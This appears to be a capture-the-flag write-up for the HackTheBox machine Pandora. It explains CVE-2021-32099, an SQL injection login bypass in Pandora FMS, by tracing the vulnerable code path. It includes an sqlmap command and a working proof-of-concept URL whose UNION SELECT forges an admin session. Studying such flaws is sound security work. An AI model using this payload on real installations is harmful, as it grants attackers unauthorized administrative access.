CVE-2021-32099 SQLi Bypass login

Useful when trying to read User Flag on Pandora.htb

CVE-2021-32099 SQLi allow attacker bypass login.

Target

Exploit on: Pandora FMS v7.0NG.742_FIX_PERL2020

Analysis

Read from cvedetail. We know endpoint of target: http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere => Access denied.

sqlmap -r req.txt -p session_id --dbms=mysql --dbs --risk=3 --level=5

After enumerate, we just focus on tsessions_php table. tssessions_php have 3 columns: id_session, last_active, data. ( sqlmap's result wrong format )

/include/chart_generator.php

71  // Try to initialize session using existing php session id.
72  $user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
73  if (check_login(false) === false) {   
74     // Error handler.
 ⋮
96  }
97
98  // Access granted.

• phpsessionid will be assign value of session_id (PayloadHere)

/include/lib/User.php

60  public function __construct($data)
61  {
 ⋮
68     if (is_array($data) === true) {
69        if (isset($data['phpsessionid']) === true) {
70           $this->sessions[$data['phpsessionid']] = 1;
71           $info = \db_get_row_filter(
72              'tsessions_php',
73              ['id_session' => $data['phpsessionid']]
74          );
75
76         if ($info !== false) {
77            // Process.
78            $session_data = session_decode($info['data']);
79            $this->idUser = $_SESSION['id_usuario'];
80
81            // Valid session.
82            return $this;
83         }

• id_session will be assign value of phpsessionid
• All code will provide for this query: select * from tsessions_php where id_session=***PayloadHere***

/include/lib/db/mysql.php

848  function db_get_row_filter($table, $filter, $fields=false)
849  {  
850     if (empty($fields)) {
851         $fields = '*';
852     }
 ⋮
861     $filter = db_format_array_where_clause_sql($filter, ' WHERE ');
 ⋮
868     $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);

POC:

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS Graph ( - )

reload: http://localhost:8000/pandora_console/ to access webpage

References:

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

https://portswigger.net/daily-swig/multiple-vulnerabilities-in-pandora-fms-could-trigger-remote-execution-attack